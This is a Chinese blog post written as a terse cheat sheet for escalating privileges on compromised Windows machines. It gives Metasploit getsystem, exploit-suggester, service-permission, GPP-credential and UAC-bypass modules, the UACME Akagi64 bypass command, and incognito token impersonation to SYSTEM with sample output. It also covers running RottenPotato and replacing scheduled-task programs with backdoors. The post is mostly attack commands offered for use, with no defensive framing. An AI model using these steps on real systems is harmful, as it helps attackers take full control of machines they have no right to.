Windows提权

1.权限类型

User普通用户

Administrator管理员权限

System系统权限(目标)

TrustedInstaller最高权限

2.MSFgetsystem提权

只要拿到新会话就可以尝试一下

meterpreter > getsystem

3.CS提权

直接用

4.Windows内核溢出提权

MSF扫描

扫描可利用的EXP,use post/multi/recon/local_exploit_suggester

如果卡住就ctrl+c停止再run,扫到的直接用

主动找EXP

先解决乱码问题,然后查看补丁情况

chcp 65001
systeminfo

通过补丁查漏洞,http://blog.neargle.com/win-powerup-exp-index/

通过漏洞找EXP,https://github.com/SecWiki/windows-kernel-exploits/ 或 searchsploit工具

5.系统错误配置提权

MSF,use exploit/windows/local/service_permissions

6.自动安装提权

MSF,use post/windows/gather/enum_unattend

7.组策略首选项提权

MSF,use post/windows/gather/credentials/gpp

8.UAC提权

MSF,search bypassuac,配置好run

MSF,use exploit/windows/local/ask,创建一个程序请求提权,鸡肋在需要管理员点

UACME工具

https://github.com/hfiref0x/UACME打包成Akagi64.exe

打开管理员权限的cmd

Akagi64.exe 编号 C:\Windows\system32\cmd.exe

9.令牌窃取提权

管理员会话

引入模块->列出部分令牌->选一个伪造

meterpreter > use incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
leiyneko-PC\leiyneko
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM

非管理员会话

先用烂土豆再同上,https://github.com/foxglovesec/RottenPotato

meterpreter > execute -cH -f ./potato.exe

10.计划任务提权

先解决乱码问题,然后查看计划任务

chcp 65001
schtasks /query /fo LIST /v

如果计划任务的程序权限高,可以尝试替换为后门

11.数据库提权

https://www.cnblogs.com/LeiyNeKo/articles/16939178.html

12.第三方软件提权

Serv-U提权

Radmin提权

pcanywhere提权

sam提权

nc提权

PR提权

IIS提权

免杀cmd提权

43958提权

perl提权

lck提权

启动项提权

替换服务提权

FXP提权

输入法提权

360提权

vnc提权

root提权

sa密码服务器提权

ftp溢出提权

posted @ 2022-12-07 18:08  Hacker&Cat  阅读(103)  评论(0编辑  收藏  举报